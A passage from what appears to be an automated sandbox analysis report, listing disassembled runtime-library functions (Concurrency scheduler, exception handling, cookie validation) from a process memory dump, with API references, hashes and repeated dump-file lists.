Concurrency::details::SchedulingNode::GetNextVirtualProcessor.LIBCMT ref: 009F6B68

Part of subcall function 009F5EDF: Concurrency::details::SchedulingNode::FindVirtualProcessor.LIBCMT ref: 009F5EF7
Part of subcall function 009F5EDF: Concurrency::details::SchedulingNode::FindVirtualProcessor.LIBCMT ref: 009F5F09

Memory Dump Source

Source File: 00000005.00000002.2992110344.00000000009D1000.00000040.00000001.01000000.00000007.sdmp, Offset: 009D0000, based on PE: true

Associated: 00000005.00000002.2991874506.00000000009D0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2992110344.0000000000A32000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2992581593.0000000000A39000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2992772462.0000000000A3B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2993790709.0000000000A47000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2994545376.0000000000B93000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2994674404.0000000000B95000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2994780304.0000000000BB0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2994879159.0000000000BB1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2994971483.0000000000BB2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995071412.0000000000BB3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995199318.0000000000BB4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995199318.0000000000BBE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995393538.0000000000BC0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995537493.0000000000BC1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995717445.0000000000BC2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995870228.0000000000BC5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995977495.0000000000BCE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996066184.0000000000BCF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996164352.0000000000BD0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996276830.0000000000BD7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996370296.0000000000BEE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996469217.0000000000BFD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996573010.0000000000BFE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996667222.0000000000C03000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996769562.0000000000C0E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996861908.0000000000C0F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996953671.0000000000C18000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997073092.0000000000C1B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997170546.0000000000C1C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997361016.0000000000C24000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997437419.0000000000C25000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997530013.0000000000C29000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997645434.0000000000C41000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997718996.0000000000C44000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997799101.0000000000C4B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997893331.0000000000C50000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997989367.0000000000C51000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998060362.0000000000C54000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998132345.0000000000C55000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998243562.0000000000C57000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998293360.0000000000C59000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998384288.0000000000C5D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998980955.0000000000C6C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2999077083.0000000000C6D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2999077083.0000000000C9E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2999820247.0000000000CCF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2999918652.0000000000CD1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2999992053.0000000000CD2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000115605.0000000000CD6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000156303.0000000000CD9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000265269.0000000000CE5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000344808.0000000000CE6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000435265.0000000000CE7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000524694.0000000000CE8000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_9d0000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::Scheduling$Find$GroupNode::ProcessorRing::ScheduleSegmentVirtual$ListNext$AcquireConcurrency::details::_Lock::_ReaderWriteWriter
String ID:
API String ID: 3403738998-0
Opcode ID: 49fcf71f40cdee32d76cff0cfec7904b1821ee1dee631ce0987f33fef910e908
Instruction ID: dcfe61018b0c49e6b692c29173575db5d5dc9eb63f8552214bd463d945561137
Opcode Fuzzy Hash: 49fcf71f40cdee32d76cff0cfec7904b1821ee1dee631ce0987f33fef910e908
Instruction Fuzzy Hash: 2E513B71A0020DABDB08DF64C595BFDB7A8BF48344F1540A9EA15AB682DB70EE45CB90

Function 00A052A5 Relevance: 14.3, APIs: 5, Strings: 3, Instructions: 308COMMONLIBRARYCODE

Download Yara Rule

APIs

IsInExceptionSpec.LIBVCRUNTIME ref: 00A053A0
type_info::operator==.LIBVCRUNTIME ref: 00A053C7
___TypeMatch.LIBVCRUNTIME ref: 00A054D3
IsInExceptionSpec.LIBVCRUNTIME ref: 00A055AE
CallUnexpected.LIBVCRUNTIME ref: 00A05650

Strings

csm, xrefs: 00A0534D
csm, xrefs: 00A053FE
csm, xrefs: 00A052E0

Memory Dump Source

Source File: 00000005.00000002.2992110344.00000000009D1000.00000040.00000001.01000000.00000007.sdmp, Offset: 009D0000, based on PE: true

Associated: 00000005.00000002.2991874506.00000000009D0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2992110344.0000000000A32000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2992581593.0000000000A39000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2992772462.0000000000A3B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2993790709.0000000000A47000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2994545376.0000000000B93000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2994674404.0000000000B95000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2994780304.0000000000BB0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2994879159.0000000000BB1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2994971483.0000000000BB2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995071412.0000000000BB3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995199318.0000000000BB4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995199318.0000000000BBE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995393538.0000000000BC0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995537493.0000000000BC1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995717445.0000000000BC2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995870228.0000000000BC5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995977495.0000000000BCE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996066184.0000000000BCF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996164352.0000000000BD0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996276830.0000000000BD7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996370296.0000000000BEE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996469217.0000000000BFD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996573010.0000000000BFE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996667222.0000000000C03000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996769562.0000000000C0E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996861908.0000000000C0F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996953671.0000000000C18000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997073092.0000000000C1B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997170546.0000000000C1C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997361016.0000000000C24000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997437419.0000000000C25000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997530013.0000000000C29000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997645434.0000000000C41000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997718996.0000000000C44000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997799101.0000000000C4B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997893331.0000000000C50000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997989367.0000000000C51000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998060362.0000000000C54000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998132345.0000000000C55000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998243562.0000000000C57000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998293360.0000000000C59000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998384288.0000000000C5D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998980955.0000000000C6C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2999077083.0000000000C6D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2999077083.0000000000C9E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2999820247.0000000000CCF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2999918652.0000000000CD1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2999992053.0000000000CD2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000115605.0000000000CD6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000156303.0000000000CD9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000265269.0000000000CE5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000344808.0000000000CE6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000435265.0000000000CE7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000524694.0000000000CE8000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_9d0000_skotes.jbxd

Yara matches

Similarity

API ID: ExceptionSpec$CallMatchTypeUnexpectedtype_info::operator==
String ID: csm$csm$csm
API String ID: 4162181273-393685449
Opcode ID: 818c71ff972c98062a4742fa0394717f4bb673d1c0b7c0ee4eedd82b8297d334
Instruction ID: 2ba04821590fdbbac7320d4bf3bd41811c662196eb4c140185e76206554fa73b
Opcode Fuzzy Hash: 818c71ff972c98062a4742fa0394717f4bb673d1c0b7c0ee4eedd82b8297d334
Instruction Fuzzy Hash: D1C15771C00A0D9FCF29DFA4E9919AFBBB9BF18311F14415AE8016B282D771EA51CF91

Function 009F7364 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 80COMMON

Download Yara Rule

APIs

Concurrency::details::SchedulingNode::FindMatchingVirtualProcessor.LIBCONCRT ref: 009F73B0
Concurrency::details::SchedulingNode::FindMatchingVirtualProcessor.LIBCONCRT ref: 009F73F2
Concurrency::details::InternalContextBase::GetAndResetOversubscribedVProc.LIBCMT ref: 009F740E
Concurrency::details::VirtualProcessor::MarkForRetirement.LIBCONCRT ref: 009F7419
std::invalid_argument::invalid_argument.LIBCONCRT ref: 009F7440

Strings

ppVirtualProcessorRoots, xrefs: 009F7438
count, xrefs: 009F737E

Memory Dump Source

Source File: 00000005.00000002.2992110344.00000000009D1000.00000040.00000001.01000000.00000007.sdmp, Offset: 009D0000, based on PE: true

Associated: 00000005.00000002.2991874506.00000000009D0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2992110344.0000000000A32000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2992581593.0000000000A39000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2992772462.0000000000A3B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2993790709.0000000000A47000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2994545376.0000000000B93000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2994674404.0000000000B95000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2994780304.0000000000BB0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2994879159.0000000000BB1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2994971483.0000000000BB2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995071412.0000000000BB3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995199318.0000000000BB4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995199318.0000000000BBE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995393538.0000000000BC0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995537493.0000000000BC1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995717445.0000000000BC2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995870228.0000000000BC5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995977495.0000000000BCE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996066184.0000000000BCF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996164352.0000000000BD0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996276830.0000000000BD7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996370296.0000000000BEE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996469217.0000000000BFD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996573010.0000000000BFE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996667222.0000000000C03000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996769562.0000000000C0E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996861908.0000000000C0F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996953671.0000000000C18000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997073092.0000000000C1B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997170546.0000000000C1C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997361016.0000000000C24000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997437419.0000000000C25000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997530013.0000000000C29000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997645434.0000000000C41000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997718996.0000000000C44000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997799101.0000000000C4B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997893331.0000000000C50000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997989367.0000000000C51000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998060362.0000000000C54000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998132345.0000000000C55000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998243562.0000000000C57000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998293360.0000000000C59000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998384288.0000000000C5D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998980955.0000000000C6C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2999077083.0000000000C6D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2999077083.0000000000C9E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2999820247.0000000000CCF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2999918652.0000000000CD1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2999992053.0000000000CD2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000115605.0000000000CD6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000156303.0000000000CD9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000265269.0000000000CE5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000344808.0000000000CE6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000435265.0000000000CE7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000524694.0000000000CE8000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_9d0000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Virtual$FindMatchingNode::ProcessorScheduling$Base::ContextInternalMarkOversubscribedProcProcessor::ResetRetirementstd::invalid_argument::invalid_argument
String ID: count$ppVirtualProcessorRoots
API String ID: 3897347962-3650809737
Opcode ID: c148e05c9a6df3e7318ffaa27d182a6f3e8205053f2189f329e1bd39cdaba23b
Instruction ID: 90c68d867f5e96b933bfbd959d410ff8b5092f800c12c58e169c8b07d1d3ca65
Opcode Fuzzy Hash: c148e05c9a6df3e7318ffaa27d182a6f3e8205053f2189f329e1bd39cdaba23b
Instruction Fuzzy Hash: AC216F34A0420DAFCB11EFA9D595ABDBBB9BF49310F044069EA05972A1CB70AE01CF90

Function 009F78E1 Relevance: 12.1, APIs: 8, Instructions: 106timeCOMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::SchedulerBase::GetInternalContext.LIBCONCRT ref: 009F7903

Part of subcall function 009F5CB8: __EH_prolog3_catch.LIBCMT ref: 009F5CBF
Part of subcall function 009F5CB8: Concurrency::details::SchedulerBase::ThrottlingTime.LIBCMT ref: 009F5CF8

Concurrency::details::SchedulerBase::ThrottlingTime.LIBCMT ref: 009F792A
Concurrency::details::SchedulerBase::GetInternalContext.LIBCONCRT ref: 009F7936

Part of subcall function 009F5CB8: Concurrency::details::SchedulerBase::AddContext.LIBCONCRT ref: 009F5D70
Part of subcall function 009F5CB8: Concurrency::details::InternalContextBase::SpinUntilBlocked.LIBCMT ref: 009F5D7E

Concurrency::details::SchedulerBase::GetNextSchedulingRing.LIBCMT ref: 009F7982
Concurrency::location::_Assign.LIBCMT ref: 009F79A3
Concurrency::details::SchedulerBase::StartupVirtualProcessor.LIBCONCRT ref: 009F79AB
Concurrency::details::SchedulerBase::ThrottlingTime.LIBCMT ref: 009F79BD
Concurrency::details::SchedulerBase::ChangeThrottlingTimer.LIBCONCRT ref: 009F79ED

Part of subcall function 009F691D: Concurrency::details::SchedulerBase::FoundAvailableVirtualProcessor.LIBCONCRT ref: 009F6942
Part of subcall function 009F691D: Concurrency::details::VirtualProcessor::ClaimTicket::ExerciseWith.LIBCMT ref: 009F6965

Memory Dump Source

Source File: 00000005.00000002.2992110344.00000000009D1000.00000040.00000001.01000000.00000007.sdmp, Offset: 009D0000, based on PE: true

Associated: 00000005.00000002.2991874506.00000000009D0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2992110344.0000000000A32000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2992581593.0000000000A39000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2992772462.0000000000A3B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2993790709.0000000000A47000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2994545376.0000000000B93000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2994674404.0000000000B95000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2994780304.0000000000BB0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2994879159.0000000000BB1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2994971483.0000000000BB2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995071412.0000000000BB3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995199318.0000000000BB4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995199318.0000000000BBE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995393538.0000000000BC0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995537493.0000000000BC1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995717445.0000000000BC2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995870228.0000000000BC5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995977495.0000000000BCE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996066184.0000000000BCF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996164352.0000000000BD0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996276830.0000000000BD7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996370296.0000000000BEE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996469217.0000000000BFD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996573010.0000000000BFE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996667222.0000000000C03000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996769562.0000000000C0E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996861908.0000000000C0F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996953671.0000000000C18000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997073092.0000000000C1B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997170546.0000000000C1C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997361016.0000000000C24000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997437419.0000000000C25000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997530013.0000000000C29000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997645434.0000000000C41000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997718996.0000000000C44000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997799101.0000000000C4B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997893331.0000000000C50000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997989367.0000000000C51000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998060362.0000000000C54000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998132345.0000000000C55000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998243562.0000000000C57000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998293360.0000000000C59000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998384288.0000000000C5D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998980955.0000000000C6C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2999077083.0000000000C6D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2999077083.0000000000C9E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2999820247.0000000000CCF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2999918652.0000000000CD1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2999992053.0000000000CD2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000115605.0000000000CD6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000156303.0000000000CD9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000265269.0000000000CE5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000344808.0000000000CE6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000435265.0000000000CE7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000524694.0000000000CE8000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_9d0000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Base::$Scheduler$ContextThrottling$InternalTimeVirtual$Processor$AssignAvailableBlockedChangeClaimConcurrency::location::_ExerciseFoundH_prolog3_catchNextProcessor::RingSchedulingSpinStartupTicket::TimerUntilWith
String ID:
API String ID: 1475861073-0
Opcode ID: e5f6ca3cbb7375102534bb9ce9f7030bf6bb821756b29020f3f95bdaa7addcda
Instruction ID: 4b8ca06473479ae6de22a2b050bfce0859ce955ffbce7f70b270b203162cd8d1
Opcode Fuzzy Hash: e5f6ca3cbb7375102534bb9ce9f7030bf6bb821756b29020f3f95bdaa7addcda
Instruction Fuzzy Hash: 20313931B0825DAFCF16ABB844927FEF7B99F81300F0445A9D685D7242DB644D89C3D1

Function 00A04840 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 120COMMON

Download Yara Rule

APIs

_ValidateLocalCookies.LIBCMT ref: 00A04877
___except_validate_context_record.LIBVCRUNTIME ref: 00A0487F
_ValidateLocalCookies.LIBCMT ref: 00A04908
__IsNonwritableInCurrentImage.LIBCMT ref: 00A04933
_ValidateLocalCookies.LIBCMT ref: 00A04988

Strings

csm, xrefs: 00A0491D

Memory Dump Source

Source File: 00000005.00000002.2992110344.00000000009D1000.00000040.00000001.01000000.00000007.sdmp, Offset: 009D0000, based on PE: true

